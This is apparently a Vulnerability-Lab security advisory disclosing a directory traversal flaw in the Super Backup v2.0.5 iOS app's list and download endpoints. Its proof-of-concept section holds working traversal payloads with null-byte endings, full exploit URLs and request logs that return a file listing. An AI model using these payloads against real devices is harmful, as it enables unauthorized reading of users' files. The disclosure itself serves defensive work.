===============
Super Backup v2.0.5 iOS - Directory Traversal Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2200
Release Date:
=============
2020-04-30
Vulnerability Laboratory ID (VL-ID):
====================================
2200
Common Vulnerability Scoring System:
====================================
7.1
Vulnerability Class:
====================
Directory- or Path-Traversal
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
Backup all your iPhone or iPad contacts in 1 tap and export them.
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contacts file to any other app on your device.
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software needed! Restore any contacts directly from
PC / Mac. Restore contacts via mail. Get the ultimate contacts
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(Copy of the Homepage: https://apps.apple.com/us/app/super-backup-export-import/id1052684097 )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a
directory traversal vulnerability in the official SuperBackup
v2.0.5 ios mobile application.
Affected Product(s):
====================
Dropouts Technologies LLP
Product: Super Backup v2.0.5
Vulnerability Disclosure Timeline:
==================================
2020-04-30: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Authentication Type:
====================
Pre Auth (No Privileges or Session)
User Interaction:
=================
No User Interaction
Disclosure Type:
================
Full Disclosure
Technical Details & Description:
================================
A directory traversal web vulnerability has been discovered in the
official Super Backup v2.0.5 ios mobile web-application.
The vulnerability allows remote attackers to change the application
path in performed requests to compromise the local application
or file-system of a mobile device. Attackers are for example able
to request environment variables or a sensitive system path.
The directory-traversal web vulnerability in the app is located
in the `list` and `download` module with the `path` parameter.
Attackers are able to change the path variable to request the local
list command. By changing the path parameter the validation
mechanism runs into a logic error that turns back the possibility
to request different pathes outside the basic import/export
folder. Thus way the attacker injects for example local path
environment varibales to compromise the local ios
web-application.
Exploitation of the directory traversal web vulnerability
requires no privileged web-application user account or user
interaction.
Successful exploitation of the vulnerability results in information
leaking by unauthorized file access and mobile application
compromise.
Proof of Concept (PoC):
=======================
The directory traversal vulnerability can be exploited by attackers
with access to the wifi interface in a local network without user
interaction.
For security demonstration or to reproduce the security
vulnerability follow the provided information and steps below to
continue.
PoC: Payloads
%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00
/../../../../../../../../../../../../../../../../../../../../../../%00
//.././%00
PoC: Exploitation
http://localhost/list?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00
http://localhost/download?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00
--- PoC Session Logs [GET]] ---
http://localhost/list?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00
Host: localhost
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
-
GET: HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 174
Content-Type: application/json
Connection: Close
-
http://localhost/download?path=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F%00
Host: localhost
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Upgrade-Insecure-Requests: 1
-
GET: HTTP/1.1 200 OK
Content-Length: 174
Content-Type: application/json
Connection: Close
-
Opening the url allows to download the list file json with content
path output
[{"path":"../../../../../../../../../../../../ "size":21961}]
References:
http://localhost/list?path=
http://localhost/download?path=
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a restriction of the requested
path parameters with the list and download module.
Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.
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=========================
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